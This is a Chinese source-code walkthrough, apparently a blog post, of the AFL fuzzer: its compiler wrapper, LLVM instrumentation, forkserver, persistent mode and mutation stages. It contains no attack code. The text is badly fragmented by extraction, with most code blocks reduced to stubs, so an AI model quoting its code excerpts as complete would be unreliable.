afl-clang-fast
,读取环境变量AFL_CC
,如果存在,就将其值设置为cc_params[0]
,如果不存在,就直接设置成clang
afl-llvm-pass.so
来注入instrumentation,但是现在也支持trace-pc-guard
模式,可以参考llvm的文档USE_TRACE_PC
宏,就将-fsanitize-coverage=trace-pc-guard -mllvm -sanitizer-coverage-block-threshold=0
添加到参数里-Xclang -load -Xclang obj_path/afl-llvm-pass.so -Qunused-arguments
afl-clang-fast
的参数,并添加到cc_params里,不过这里会做一些检查和设置。-m32
或者armv7a-linux-androideabi
,就设置bit_mode
为32-m64
,就设置bit_mode
为64-x
,就设置x_set
为1-fsanitize=address
或者-fsanitize=memory
,就设置asan_set为1-Wl,-z,defs
或者-Wl,--no-undefined
,就直接pass掉,不传给clang。AFL_HARDEN
,如果存在,就在cc_params里添加-fstack-protector-all
-fsanitize=address/memory
,即asan_set是0,就读取环境变量AFL_USE_ASAN
,如果存在就添加-fsanitize=address
到cc_params里,环境变量AFL_USE_MSAN
同理USE_TRACE_PC
宏,就检查是否存在环境变量AFL_INST_RATIO
,如果存在就抛出异常AFL_INST_RATIO not available at compile time with 'trace-pc'.
AFL_DONT_OPTIMIZE
,如果不存在就添加-g -O3 -funroll-loops
到参数里AFL_NO_BUILTIN
,如果存在就添加-fno-builtin-strcmp
等。-D__AFL_HAVE_MANUAL_CONTROL=1 -D__AFL_COMPILER=1 -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1
,定义一些宏__AFL_LOOP
,__AFL_INIT()
,宏展开是类似这样的,为简化我去掉了和编译器优化相关的东西。1 |
|
-x none
bit_mode
的值选择afl-llvm-rt
-m32
和-m64
选项,就向参数里添加obj_path/afl-llvm-rt.o
obj_path/afl-llvm-rt-32.o
obj_path/afl-llvm-rt-64.o
execvp(cc_params[0], (char**)cc_params);
runOnModule
函数,这里简单的介绍一下llvm里的一些层次关系,粗略理解就是Module相当于你的程序,里面包含所有Function和全局变量,而Function里包含所有BasicBlock和函数参数,BasicBlock里包含所有Instruction,Instruction包含Opcode和Operands。1 | static void registerAFLPass(const PassManagerBuilder &, |
PassManagerBuilder::addGlobalExtension
,这是一个静态函数,这个函数会创建一个tuple保存Ty和Fn还有一个id,并将其添加到一个静态全局vector里,以供PassManagerBuilder在需要的时候,将其添加到PM里。ExtensionPointTy
来指定的。1 | /// Registers a function for adding a standard set of passes. This should be |
1 | GlobalVariable *AFLMapPtr = |
1 | BasicBlock::iterator IP = BB.getFirstInsertionPt(); |
1 | unsigned int cur_loc = AFL_R(MAP_SIZE); |
1 | LoadInst *MapPtr = IRB.CreateLoad(AFLMapPtr); |
1 | LoadInst *Counter = IRB.CreateLoad(MapPtrIdx); |
__afl_prev_loc
的值。1 | StoreInst *Store = IRB.CreateStore(ConstantInt::get(Int32Ty, cur_loc >> 1), AFLPrevLoc); |
1 | cur_location = <COMPILE_TIME_RANDOM>; |
1 |
|
1 | ; ModuleID = 'nopt_test-instr.ll' |
1 | ; ModuleID = 'm2r_nopt_test-instr.ll' |
AFL LLVM_Mode中存在着三个特殊的功能。这三个功能的源码位于afl-llvm-rt.o.c中。
AFL会尝试通过仅执行一次目标二进制文件来优化性能。它会暂停控制流,然后复制该“主”进程以持续提供fuzzer的目标。该功能在某些情况下可以减少操作系统、链接与libc内部执行程序的成本。
选好位置后,将下述代码添加到该位置上,之后使用afl-clang-fast重新编译代码即可
1 | #ifdef __AFL_HAVE_MANUAL_CONTROL |
__AFL_INIT()
内部调用__afl_manual_init
函数。该函数的源代码如下
1 | void __afl_manual_init(void) { |
如果还没有被初始化,就初始化共享内存,然后开始执行forkserver,然后设置init_done为1。
__afl_map_shm
就是简单的通过读取环境变量SHM_ENV_VAR
来获取共享内存,然后将地址赋值给__afl_area_ptr
。否则,默认的__afl_area_ptr
指向的是一个数组。
__afl_start_forkserver
的逻辑稍微复杂,分条叙述
child_stopped
为0,然后通过FORKSRV_FD + 1
向状态管道写入4个字节,告知AFL fuzz已经准备好了。FORKSRV_FD
读取4个字节,如果当前管道中没有内容,就会堵塞在这里,如果读到了,就代表AFL命令我们fork server去执行一次fuzzchild_stopped
为0,则直接fork出一个子进程去进行fuzzchild_stopped
为1,这是对于persistent mode的特殊处理,此时子进程还活着,只是被暂停了,所以可以通过kill(child_pid, SIGCONT)
来简单的重启,然后设置child_stopped
为0。FORKSRV_FD + 1
写入子进程的pid,然后等待子进程结束,注意这里对于persistent mode,我们会设置waitpid的第三个参数为WUNTRACED,代表若子进程进入暂停状态,则马上返回。child_stopped
为1。FORKSRV_FD + 1
写入4个字节,通知AFL这次target执行结束了。上面我们其实已经介绍过persistent mode的一些特点了,那就是它并不是通过fork出子进程去进行fuzz的,而是认为当前我们正在fuzz的API是无状态的,当API重置后,一个长期活跃的进程就可以被重复使用,这样可以消除重复执行fork函数以及OS相关所需要的开销。
所以的使用方法如下:
1 | while (__AFL_LOOP(1000)) { |
循环次数不能设置过大,因为较小的循环次数可以将内存泄漏和类似故障的影响降到最低。所以循环次数设置成1000是个不错的选择。
接下来我们来解读一下源码,首先介绍一个__attribute__ constructor
,demo如下,代表被此修饰的函数将在main执行之前自动运行
1 | __attribute__((constructor(1))) void before_main1(){ |
llvm mode里有一个函数__attribute__((constructor(CONST_PRIO))) void __afl_auto_init(void)
,其逻辑如下
__afl_auto_init
和deferred instrumentation不通用,这其实道理也很简单,因为deferred instrumentation会自己选择合适的时机,手动init,不需要用这个函数来init,所以这个函数只在没有手动init的时候会自动init。__afl_manual_init
函数,其含义见上文。宏定义__AFL_LOOP
内部调用__afl_persistent_loop
函数。__afl_persistent_loop(unsigned int max_cnt)
的逻辑如下
__afl_area_ptr
,设置__afl_area_ptr[0]
为1,__afl_prev_loc
为0SIGSTOP
来让当前进程暂停__afl_area_ptr[0]
为1,__afl_prev_loc
为0,然后直接返回1__afl_area_ptr
指向一个无关数组__afl_area_initial
。我们将这些联系在一起,重新梳理一遍
假设我们是这么使用的:
1 | while (__AFL_LOOP(1000)) { |
__AFL_LOOP
包围的代码,因为是第一次执行loop,所以会先清空__afl_area_ptr
和设置__afl_prev_loc
为0,并向共享内存的第一个元素写一个值,然后设置循环次数1000,随后返回1,此时while(__AFL_LOOP)
满足条件,于是执行一次fuzzAPI。__AFL_LOOP
里,此时将循环次数减一,变成999,然后发出信号SIGSTOP
来让当前进程暂停,因为我们设置了WUNTRACED,所以waitpid函数就会返回,fork server将继续执行。SIGSTOP
信号后就知道fuzzAPI已经被成功执行结束了,就设置child_stopped为1,并告知AFL fuzz__afl_prev_loc
设置为0,并向共享内存的第一个元素写一个值,随后直接返回1,此时while(__AFL_LOOP)
满足条件,于是执行一次fuzzAPI,然后因为是while循环,会再次进入__AFL_LOOP
里,再次减少一次循环次数变成998,并发出信号暂停。__AFL_LOOP
里,再次减少一次循环次数变成0,此时循环次数cnt已经被减到0,就不会再发出信号暂停子进程,而是设置__afl_area_ptr
指向一个无关数组__afl_area_initial
,随后将子进程执行到结束。__afl_area_ptr
里写值,但是此时我们其实并没有执行fuzzAPI
,我们并不想向共享内存里写值,于是将其指向一个无关数组,随意写值。同理,在deferred instrumentation模式里,在执行__afl_manual_init
之前,也是向无关数组里写值,因为我们将fork点手动设置,就代表在这个fork点之前的path我们并不关心。1 | int __afl_persistent_loop(unsigned int max_cnt) { |
要使用这个功能,需要先通过AFL_TRACE_PC=1
来定义DUSE_TRACE_PC宏,从而在执行afl-clang-fast的时候传入-fsanitize-coverage=trace-pc-guard
参数,来开启这个功能,和之前我们的插桩不同,开启了这个功能之后,我们不再是仅仅只对每个基本块插桩,而是对每条edge都进行了插桩。
1 | ifdef AFL_TRACE_PC |
__sanitizer_cov_trace_pc_guard
这个函数将在每个edge调用,该函数利用函数参数guard指针所指向的uint32值来确定共享内存上所对应的地址。
每个edge上都有应该有其不同(但其实可能相同,原因下述)的guard值
1 | void __sanitizer_cov_trace_pc_guard(uint32_t* guard) { |
而这个guard指针的初始化在__sanitizer_cov_trace_pc_guard_init
函数里,llvm会设置guard其首末分别为start和stop。
它会从第一个guard开始向后遍历,设置guard指向的值,这个值是通过R(MAP_SIZE)
设置的,定义如下,所以如果我们的edge足够多,而MAP_SIZE
不够大,就有可能重复,而这个加一是因为我们会把0当成一个特殊的值,其代表对这个edge不进行插桩。
这个init其实很有趣,我们可以打印输出一下stop-start
的值,就代表了llvm发现的程序里总计的edge数。
1 |
|
注册必要的信号处理函数
check asan选项
如果通过-M或者-S指定了sync_id,则更新out_dir和sync_dir的值
out_dir/sync_id
拷贝当前的命令行参数
1 | 00 ff 00 ff 55 00 00 00 buf-> 2f 55 73 65 72 73 2f 73 │ ····U···/Users/s │ |
修剪并且创建一个运行横幅
检查是否在tty终端上面运行。
ioctl(1, TIOCGWINSZ, &ws)
通过ioctl来读取window size,如果报错为ENOTTY,则代表当前不在一个tty终端运行,设置not_on_tty计数logical CPU cores
配置共享内存和virgin_bits
shmget(IPC_PRIVATE, MAP_SIZE, IPC_CREAT | IPC_EXCL | 0600);
,将返回的共享内存标识符保存到shm_id里。int shmget(key_t key, size_t size, int shmflg);
1 | 00 ff 00 ff 06 00 00 00 shm_str->36 35 35 33 38 00 f0 f0 │ ········65538··· │ |
trace_bits = shmat(shm_id, NULL, 0);
SHM with instrumentation bitmap
void *shmat(int shm_id, const void *shm_addr, int shmflg)
1 | static const u8 count_class_lookup8[256] = { |
count_class_lookup16
呢,是因为AFL在后面实际进行规整的时候,是一次读两个字节去处理的,为了提高效率,这只是出于效率的考量,实际效果还是上面这种效果。u16 count_class_lookup16[65536]
1 | EXP_ST void init_count_class16(void) { |
准备输出文件夹和fd
out_dir_fd = open(out_dir, O_RDONLY)
以只读模式打开这个文件,并返回文件句柄out_dir_fd__sun
out_dir/queue
文件夹,设置权限为0700out_dir/queue/.state/
,设置权限为0700,该文件夹主要保存用于session resume和related tasks的queue metadataout_dir/queue/.state/deterministic_done/
,设置权限为0700,该文件夹标记过去经历过deterministic fuzzing的queue entries。out_dir/queue/.state/auto_extras/
,设置权限为0700,Directory with the auto-selected dictionary entries.out_dir/queue/.state/redundant_edges/
,设置权限为0700,保存当前被认为是多余的路径集合out_dir/queue/.state/variable_behavior/
,设置权限为0700,The set of paths showing variable behavior.out_dir/.synced/
,设置权限为0700,同步文件夹,用于跟踪cooperating fuzzers.out_dir/crashes
文件夹,设置权限为0700,用于记录crashesout_dir/hangs
文件夹,设置权限为0700,用于记录hangsdev_null_fd = open("/dev/null", O_RDWR);
以读写模式打开/dev/null
dev_urandom_fd = open("/dev/urandom", O_RDONLY);
,以只读模式打开/dev/urandom
fd = open(tmp, O_WRONLY | O_CREAT | O_EXCL, 0600);
以只写方式打开out_dir/plot_data
文件,如果文件不存在,就创建,并获取句柄plot_file = fdopen(fd, "w");
根据句柄得到FILE* plot_file# unix_time, cycles_done, cur_path, paths_total, pending_total, pending_favs, map_size, unique_crashes, unique_hangs, max_depth, execs_per_sec\n
从输入文件夹中读取所有文件,然后将它们排队进行测试。
in_dir/queue
文件夹,如果存在就重新设置in_dir为in_dir/queue
struct dirent **nl
里u8 *fn = alloc_printf("%s/%s", in_dir, nl[i]->d_name);
u8 *dfn = alloc_printf("%s/.state/deterministic_done/%s", in_dir, nl[i]->d_name);
shuffle_queue
的值为真,且nl_cnt大于1,则shuffle_ptrs((void **) nl, nl_cnt)
,字面意思上就是重排nl里的指针的位置。.
和..
这样的regular文件,并检查文件大小,如果文件大小大于MAX_FILE,默认是1024*1024字节,即1Min_dir/.state/deterministic_done/nl[i]->d_name
是否存在,这应该是为了用在resume恢复扫描使用1 | q->fname = fname; |
q->depth > max_depth
,则设置max_depth为q->depthqueue_top->next为q,queue_top = q;
,否则q_prev100 = queue = queue_top = q;
1 | static struct queue_entry *queue, /* Fuzzing queue (linked list) */ |
queued_paths % 100
得到0,则设置q_prev100->next_100 = q; q_prev100 = q;
load自动生成的提取出来的词典token
alloc_printf("%s/.state/auto_extras/auto_%06u", in_dir, i)
的文件MAX_AUTO_EXTRA+1
个字节到tmp数组里,默认MAX_AUTO_EXTRA为32,这是单个auto extra文件的最大大小,读取出的长度保存到len里。memcmp_nocase(extras[i].data, mem, len)
,如果有一个相同,就直接return。memcmp_nocase(a_extras[i].data, mem, len)
,如果相同,就将其hit_cnt值加一,这是代表在语料中被use的次数,然后跳转到sort_a_extras
1 | struct extra_data { |
逻辑上说这个函数就是为inputdir里的testcase,在output dir里创建hard link
rsl = q->fname
,否则rsl指向’/‘后的第一个字符,其实也就是最后一个/
后面的字符串id_
进行比较resuming_fuzz
为1,然后做一些恢复操作,不叙述。,orig:
子串,如果找到了,将use_name指向该子串的冒号后的名字;如果没找到,就另use_name = rsl
nfn = alloc_printf("%s/queue/id:%06u,orig:%s", out_dir, id, use_name);
alloc_printf("%s/queue/id:%06u,orig:%s", out_dir, id, use_name)
的硬链接out_dir/queue/.state/deterministic_done/use_name
这个文件,如果不存在就创建这个文件,然后设置q的passed_det为1。use_name就是orig:后面的字符串
out_dir/_resume/.state/deterministic_done
文件夹下所有id:
前缀的文件out_dir/_resume/.state/auto_extras
文件夹下所有auto_
前缀的文件out_dir/_resume/.state/redundant_edges
文件夹下所有id:
前缀的文件out_dir/_resume/.state/variable_behavior
文件夹下所有id:
前缀的文件out_dir/_resume/.state
out_dir/_resume
文件夹下所有id:
前缀的文件如果定义了extras_dir,则从extras_dir读取extras到extras数组里,并按size排序。
如果timeout_given没有被设置,则进入find_timeout
这个想法是,在不指定-t的情况下resuming sessions时,我们不希望一遍又一遍地自动调整超时时间,以防止超时值因随机波动而增长
fn = alloc_printf("%s/fuzzer_stats", out_dir);
,否则fn = alloc_printf("%s/../fuzzer_stats", in_dir);
这个函数其实就是识别参数里面有没有@@
,如果有就替换为out_dir/.cur_input
,如果没有就返回
如果out_file为NULL,如果没有使用-f,就删除原本的out_dir/.cur_input
,创建一个新的out_dir/.cur_input
,保存其文件描述符在out_fd中
check指定路径处要执行的程序是否存在,且它不能是一个shell script
执行所有的测试用例,以检查是否按预期工作
SAYF("len = %u, map size = %u, exec speed = %llu us\n", q->len, q->bitmap_size, q->exec_us);
check_map_coverage
,用以评估map coverageWARNF("Recompile binary with newer version of afl to improve coverage!")
FATAL("Test case '%s' does *NOT* crash", fn);
,该文件不崩溃WARNF("Test case results in a timeout (skipping)");
,并设置q的cal_failed为CAL_CHANCES,cal_failures计数器加一。FATAL("Test case '%s' results in a crash", fn);
Unable to execute target application
No instrumentation detected
WARNF("No new instrumentation output, test case may be useless.")
,认为这是无用路径。useless_at_start计数器加一WARNF("Instrumentation output varies across runs.");
,代表这个样例的路径输出可变1 | enum { |
这个函数评估input文件夹下的case,来发现这些testcase的行为是否异常;以及在发现新的路径时,用以评估这个新发现的testcase的行为是否是可变(这里的可变是指多次执行这个case,发现的路径不同)等等
char **argv, struct queue_entry *q, u8 *use_mem, u32 handicap, u8 from_queue
q->exec_cksum
不为空,拷贝trace_bits到first_trace里,然后计算has_new_bits
的值,赋值给new_bits。show_stats
,用来展示这次执行的结果,此后不再展示。q->fname
中读取的内容写入到.cur_input
中u8 run_target(argv, use_tmout)
,结果保存在fault中calibration stage
第一次运行,且不在dumb_mode,且共享内存里没有任何路径(即没有任何byte被置位),设置fault为FAULT_NOINST
,然后goto abort_calibration。u32 count_bytes(u8 *mem)
hash32(trace_bits, MAP_SIZE, HASH_CONST)
的结果,其值为一个32位uint值,保存到cksum中q->exec_cksum
不等于cksum,即代表这是第一次运行,或者在相同的参数下,每次执行,cksum却不同,是一个路径可变的queuehnb = has_new_bits(virgin_bits)
q->exec_cksum
不等于0,即代表这是判断是否是可变queueCAL_CYCLES_LONG
,即需要执行40次。q->handicap = handicap;
q->cal_failed = 0;
FAULT_NONE
,且该queue是第一次执行,且不属于dumb_mode,而且new_bits为0,代表在这个样例所有轮次的执行里,都没有发现任何新路径和出现异常,设置fault为FAULT_NOBITS
q->has_new_cov
为0,设置其值为1,并将queued_with_cov加一,代表有一个queue发现了新路径。mark_as_variable(struct queue_entry *q)
out_dir/queue/.state/variable_behavior/fname
queued_variable
的值加一show_stats
建立管道st_pipe和ctl_pipe,在父子进程之间,是通过管道进行通信,一个用于传递状态,另一个用于传递命令。
fork出一个子进程,fork函数执行完毕后,如果创建新进程成功,则出现两个进程,一个是子进程,一个是父进程。在子进程中,fork函数返回0,在父进程中,fork返回新创建子进程的进程ID。我们可以通过fork返回的值来判断当前进程是子进程还是父进程。
子进程和父进程都会向下执行,我们通过pid来使它们执行不同的代码if(!forksrv_pid)
1 | 假设进程A拥有一个已打开的文件描述符fd3,它的状态如下 |
dup2(dev_null_fd, 1);
dup2(dev_null_fd, 2);
1 | close(ctl_pipe[0]); |
"abort_on_error=1:" "detect_leaks=0:" "symbolize=0:" "allocator_may_return_null=1"
,同理设置MSAN_OPTIONSexecv(target_path, argv)
带参数执行target,这个函数除非出错不然不会返回。__afl_maybe_log
里的__afl_fork_wait_loop
,并充当fork server,在整个Fuzz的过程中,它都不会结束,每次要Fuzz一次target,都会从这个fork server fork出来一个子进程去fuzz。以下都是父进程要执行的代码
1 | // 关闭不是需要的endpoints |
后续是一些子进程启动失败的异常处理逻辑,暂时不叙。
current & virgin
不为0,即代表current发现了新路径或者某条路径的执行次数和之前有所不同cur[i] && vir[i] == 0xff
,如果有一个为真,则设置ret为2*virgin &= ~*current
virgin_map
是virgin_bits
,且ret不为0,就设置bitmap_changed为1v & FF(0),v & FF(1),v & FF(2),v&FF(3)
的结果,如果不为0,则计数器ret加一。(_b) << 3)
即_b * 8
0x000000ff
左移(_b * 8)
位0x000000ff
,0x0000ff00
,0x00ff0000
,0xff000000
其中之一prev_timed_out
的值,命令Fork server开始fork出一个子进程进行fuzz,然后从状态管道读取fork server返回的fork出的子进程的ID到child_pid
WIFSIGNALED(status)
若为异常结束子进程返回的状态,则为真WTERMSIG(status)
取得子进程因信号而中止的信号代码SIGKILL
,则返回FAULT_TMOUT
FAULT_CRASH
FAULT_ERROR
timeout
小于等于exec_tmout
,且slowest_exec_ms
小于exec_ms
,设置slowest_exec_ms
等于exec_ms
FAULT_NONE
u16 *mem16 = (u16 *) mem
mem16[i]
的值,在count_class_lookup16[mem16[i]]
里找到对应的取值,并赋值给mem16[i]
每当我们发现一个新的路径,都会调用这个函数来判断其是不是更加地favorable,这个favorable的意思是说是否包含最小的路径集合来遍历到所有bitmap中的位,我们专注于这些集合而忽略其他的。
q->exec_us * q->len
即执行时间和样例大小的乘积,以这两个指标来衡量权重。static struct queue_entry *top_rated[MAP_SIZE]; /* Top entries for bitmap bytes */
fav_factor > top_rated[i]->exec_us * top_rated[i]->len
,即比较执行时间和样例大小的乘积,哪个更小。top_rated[i]
的更小,则代表top_rated[i]
的更优,不做任何处理,继续遍历下一个path。top_rated[i]
原先对应的queue entry的tc_ref字段减一,并将其trace_mini字段置为空。u8 *trace_mini; /* Trace bytes, if kept */
u32 tc_ref; /* Trace bytes ref count */
top_rated[i]
为q,即当前case,然后将其tc_ref的值加一q->trace_mini
为空,则将trace_bits经过minimize_bits压缩,然后存到trace_mini字段里将trace_bits压缩为较小的位图。
简单的理解就是把原本是包括了是否覆盖到和覆盖了多少次的byte,压缩成是否覆盖到的bit。
在看这个函数和下一个函数cull_queue之前,建议把经典算法系列之(一) - BitMap [数据的压缩存储]读完。
1 | static void minimize_bits(u8 *dst, u8 *src) { |
虽然dst是一个bitmap,但是实际上在这里我们还是用一个byte数组来操作它,所以就首先得做byte->bit的映射,比如说将src的前0-7个字节映射到dst的第一个字节(0-7位)
1 | >>> 0>>3 |
然后如果src里该字节的值不为0,i此时就代表这个字节的index索引,其与0000 0111
相与,最终的结果都只在0-7之间,这样我们就可以知道这个index在0-7之间对应的具体的bit是哪一个,最后通过或运算将该位置位。
1 | >>> 0&7 |
精简队列
MAP_SIZE除8
,并将其初始值设置为0xff,其每位如果为1就代表还没有被覆盖到,如果为0就代表以及被覆盖到了。temp_v[i >> 3] & (1 << (i & 7))
与上面的差不多,中间的或运算改成了与,是为了检查该位是不是0,即判断该path对应的bit有没有被置位。1 | for (i = 0; i < MAP_SIZE; i++) |
top_rated[i]
有值,且该path在temp_v里被置位top_rated[i]
覆盖到的path,将对应的bit置为0top_rated[i]->favored
为1,queued_favored计数器加一top_rated[i]
的was_fuzzed字段是0,代表其还没有fuzz过,则将pending_favored计数器加一state和q->fs_redundant
相等,就直接返回q->fs_redundant
的值为state,out_dir/queue/.state/redundant_edges/fname
out_dir/queue/.state/redundant_edges/fname
在处理输入目录的末尾显示统计信息,以及一堆警告,以及几个硬编码的常量。
"The target binary is pretty slow! See %s/perf_tips.txt."
"No -t option specified, so I'll use exec timeout of %u ms.", exec_tmout
"Applying timeout settings from resumed session (%u ms).", exec_tmout
,此时的timeout_give是我们从历史记录里读取出的。exec_tmout * 2 + 100
中的最小值All set and ready to roll!
resume时,请尝试查找要从其开始的队列位置,这仅在resume时以及当我们可以找到原始的fuzzer_stats时才有意义.
out_dir/fuzzer_stats
文件,否则打开in_dir/../fuzzer_stats
文件cur_path
,并设置为ret的值,如果大于queued_paths就设置ret为0,返回ret。更新统计信息文件以进行无人值守的监视
out_dir/fuzzer_stats
queue_cycle
在queue_cur
为空,即执行到当前队列尾的时候才增加1,所以这代表queue队列被完全变异一次的次数。run_target
的时候会增加1add_to_queue
的时候会增加1,代表queue里的样例总数common_fuzz_stuff
去执行一次fuzz时,发现新的interesting case的时候会增加1,代表在fuzz运行期间发现的新queue entry。calibrate_case
去评估一个新的test case的时候,如果发现这个case的路径是可变的,则将这个计数器加一,代表发现了一个可变casesave_if_interesting
时,如果fault是FAULT_CRASH,就将unique_crashes计数器加一save_if_interesting
时,如果fault是FAULT_TMOUT,且exec_tmout小于hang_tmout,就以hang_tmout为超时时间再执行一次,如果还超时,就让hang计数器加一。add_to_queue
里将一个新case加入queue时,就设置一次last_path_time为当前时间,last_path_time / 1000
last_crash_time / 1000
last_hang_time / 1000
1 | fprintf(f, "start_time : %llu\n" |
保存自动生成的extras
alloc_printf("%s/queue/.state/auto_extras/auto_%06u", out_dir, i);
的文件,并写入a_extras的内容。cull_queue
queue_cur
为空,代表所有queue都被执行完一轮show_stats
skipped_fuzz = fuzz_one(use_argv)
来对queue_cur进行一次测试queue_cur = queue_cur->next;current_entry++;
,开始测试下一个queue如果pending_favored
不为0,则对于queue_cur被fuzz过或者不是favored的,有99%的几率直接返回1。
如果pending_favored
为0且queued_paths(即queue里的case总数)大于10
设置len为queue_cur->len
打开该case对应的文件,并通过mmap映射到内存里,地址赋值给in_buf
和orig_in
分配len大小的内存,并初始化为全0,然后将地址赋值给out_buf
CALIBRATION阶段
假如当前项有校准错误,并且校准错误次数小于3次,那么就用calibrate_case再次校准。
TRIMMING阶段
如果该case没有trim过,
trim_case(argv, queue_cur, in_buf)
进行trim(修剪)queue_cur->len
到len中将in_buf拷贝len个字节到out_buf中
PERFORMANCE SCORE阶段
perf_score = calculate_score(queue_cur)
如果skip_deterministic为1,或者queue_cur被fuzz过,或者queue_cur的passed_det为1,则跳转去havoc_stage阶段
设置doing_det为1
SIMPLE BITFLIP (+dictionary construction)阶段
下面这个宏很有意思
1 |
|
设置stage_name为bitflip 1/1
,_ar的取值是out_buf,而_bf的取值在[0: len << 3)
所以用_bf & 7
能够得到0,1,2...7 0,1,2...7
这样的取值一共len组,然后(_bf) >> 3
又将[0: len<<3)映射回了[0: len),对应到buf里的每个byte,如图:
所以在从0-len*8
的遍历过程中会通过亦或运算,依次将每个位翻转,然后执行一次common_fuzz_stuff
,然后再翻转回来。
1 | stage_max = len << 3; |
在进行bitflip 1/1变异时,对于每个byte的最低位(least significant bit)翻转还进行了额外的处理:如果连续多个bytes的最低位被翻转后,程序的执行路径都未变化,而且与原始执行路径不一致,那么就把这一段连续的bytes判断是一条token。
比如对于SQL的SELECT *
,如果SELECT
被破坏,则肯定和正确的路径不一致,而被破坏之后的路径却肯定是一样的,比如AELECT
和SBLECT
,显然都是无意义的,而只有不破坏token,才有可能出现和原始执行路径一样的结果,所以AFL在这里就是在猜解关键字token。
token默认最小是3,最大是32,每次发现新token时,通过maybe_add_auto
添加到a_extras
数组里。
stage_finds[STAGE_FLIP1]
的值加上在整个FLIP_BIT中新发现的路径和Crash总和
stage_cycles[STAGE_FLIP1]
的值加上在整个FLIP_BIT中执行的target次数stage_max
设置stage_name为bitflip 2/1
,原理和之前一样,只是这次是连续翻转相邻的两位。
1 | stage_max = (len << 3) - 1; |
然后保存结果到stage_finds[STAGE_FLIP2]和stage_cycles[STAGE_FLIP2]
里。
同理,设置stage_name为bitflip 4/1
,翻转连续的四位并记录。
生成effector map
设置stage_name为bitflip 8/8
,以字节为单位,直接通过和0xff
亦或运算去翻转整个字节的位,然后执行一次,并记录。
设置stage_name为bitflip 16/8
,设置stage_max
为len - 1
,以字为单位和0xffff
进行亦或运算,去翻转相邻的两个字节(即一个字的)的位。
同理,设置stage_name为bitflip 32/8
,然后设置stage_max
为len - 3
,以双字为单位,直接通过和0xffffffff
亦或运算去相邻四个字节的位,然后执行一次,并记录。
ARITHMETIC INC/DEC
在bitflip变异全部进行完成后,便进入下一个阶段:arithmetic。与bitflip类似的是,arithmetic根据目标大小的不同,也分为了多个子阶段:
arith 8/8,每次对8个bit进行加减运算,按照每8个bit的步长从头开始,即对文件的每个byte进行整数加减变异
arith 16/8,每次对16个bit进行加减运算,按照每8个bit的步长从头开始,即对文件的每个word进行整数加减变异
arith 32/8,每次对32个bit进行加减运算,按照每8个bit的步长从头开始,即对文件的每个dword进行整数加减变异
加减变异的上限,在config.h中的宏ARITH_MAX定义,默认为35。所以,对目标整数会进行+1, +2, …, +35, -1, -2, …, -35的变异。特别地,由于整数存在大端序和小端序两种表示方式,AFL会贴心地对这两种整数表示方式都进行变异。
此外,AFL还会智能地跳过某些arithmetic变异。第一种情况就是前面提到的effector map:如果一个整数的所有bytes都被判断为“无效”,那么就跳过对整数的变异。第二种情况是之前bitflip已经生成过的变异:如果加/减某个数后,其效果与之前的某种bitflip相同,那么这次变异肯定在上一个阶段已经执行过了,此次便不会再执行。
INTERESTING VALUES
下一个阶段是interest,具体可分为:
interest 8/8,每次对8个bit进替换,按照每8个bit的步长从头开始,即对文件的每个byte进行替换
interest 16/8,每次对16个bit进替换,按照每8个bit的步长从头开始,即对文件的每个word进行替换
interest 32/8,每次对32个bit进替换,按照每8个bit的步长从头开始,即对文件的每个dword进行替换
而用于替换的”interesting values”,是AFL预设的一些比较特殊的数,这些数的定义在config.h文件中
1 | static s8 interesting_8[] = { INTERESTING_8 }; |
与之前类似,effector map仍然会用于判断是否需要变异;此外,如果某个interesting value,是可以通过bitflip或者arithmetic变异达到,那么这样的重复性变异也是会跳过的。
DICTIONARY STUFF
进入到这个阶段,就接近deterministic fuzzing的尾声了。具体有以下子阶段:
user extras(over),从头开始,将用户提供的tokens依次替换到原文件中,stage_max为extras_cnt * len
user extras(insert),从头开始,将用户提供的tokens依次插入到原文件中,stage_max为extras_cnt * len
auto extras(over),从头开始,将自动检测的tokens依次替换到原文件中,stage_max为MIN(a_extras_cnt, USE_AUTO_EXTRAS) * len
其中,用户提供的tokens,是在词典文件中设置并通过-x选项指定的,如果没有则跳过相应的子阶段。
RANDOM HAVOC
对于非dumb mode的主fuzzer来说,完成了上述deterministic fuzzing后,便进入了充满随机性的这一阶段;对于dumb mode或者从fuzzer来说,则是直接从这一阶段开始。
havoc,顾名思义,是充满了各种随机生成的变异,是对原文件的“大破坏”。具体来说,havoc包含了对原文件的多轮变异,每一轮都是将多种方式组合(stacked)而成:
随机选取某个bit进行翻转
随机选取某个byte,将其设置为随机的interesting value
随机选取某个word,并随机选取大、小端序,将其设置为随机的interesting value
随机选取某个dword,并随机选取大、小端序,将其设置为随机的interesting value
随机选取某个byte,对其减去一个随机数
随机选取某个byte,对其加上一个随机数
随机选取某个word,并随机选取大、小端序,对其减去一个随机数
随机选取某个word,并随机选取大、小端序,对其加上一个随机数
随机选取某个dword,并随机选取大、小端序,对其减去一个随机数
随机选取某个dword,并随机选取大、小端序,对其加上一个随机数
随机选取某个byte,将其设置为随机数
随机删除一段bytes
随机选取一个位置,插入一段随机长度的内容,其中75%的概率是插入原文中随机位置的内容,25%的概率是插入一段随机选取的数
随机选取一个位置,替换为一段随机长度的内容,其中75%的概率是替换成原文中随机位置的内容,25%的概率是替换成一段随机选取的数
随机选取一个位置,用随机选取的token(用户提供的或自动生成的)替换
随机选取一个位置,用随机选取的token(用户提供的或自动生成的)插入
怎么样,看完上面这么多的“随机”,有没有觉得晕?还没完,AFL会生成一个随机数,作为变异组合的数量,并根据这个数量,每次从上面那些方式中随机选取一个(可以参考高中数学的有放回摸球),依次作用到文件上。如此这般丧心病狂的变异,原文件就大概率面目全非了,而这么多的随机性,也就成了fuzzing过程中的不可控因素,即所谓的“看天吃饭”了。
splice
设置ret_val的值为0
如果queue_cur通过了评估,且was_fuzzed字段是0,就设置queue_cur->was_fuzzed
为1,然后pending_not_fuzzed计数器减一
如果queue_cur是favored, pending_favored计数器减一。
这个函数其实就是读取其他sync文件夹下的queue文件,然后保存到自己的queue里。
打开sync_dir
文件夹
while循环读取该文件夹下的目录和文件while ((sd_ent = readdir(sd)))
.
开头的文件和sync_id
即我们自己的输出文件夹out_dir/.synced/sd_ent->d_name
文件即id_fd
里的前4个字节到min_accept
里,设置next_min_accept
为min_accept
,这个值代表之前从这个文件夹里读取到的最后一个queue的id。sprintf(stage_tmp, "sync %u", ++sync_cnt);
,设置stage_cur为0,stage_max为0sync_dir/sd_ent->d_name/queue
文件夹里的目录和文件.
开头的文件和标识小于min_accept的文件,因为这些文件应该已经被sync过了。syncing_case
大于等于next_min_accept,就设置next_min_accept为syncing_case + 1
write_to_testcase(mem, st.st_size)
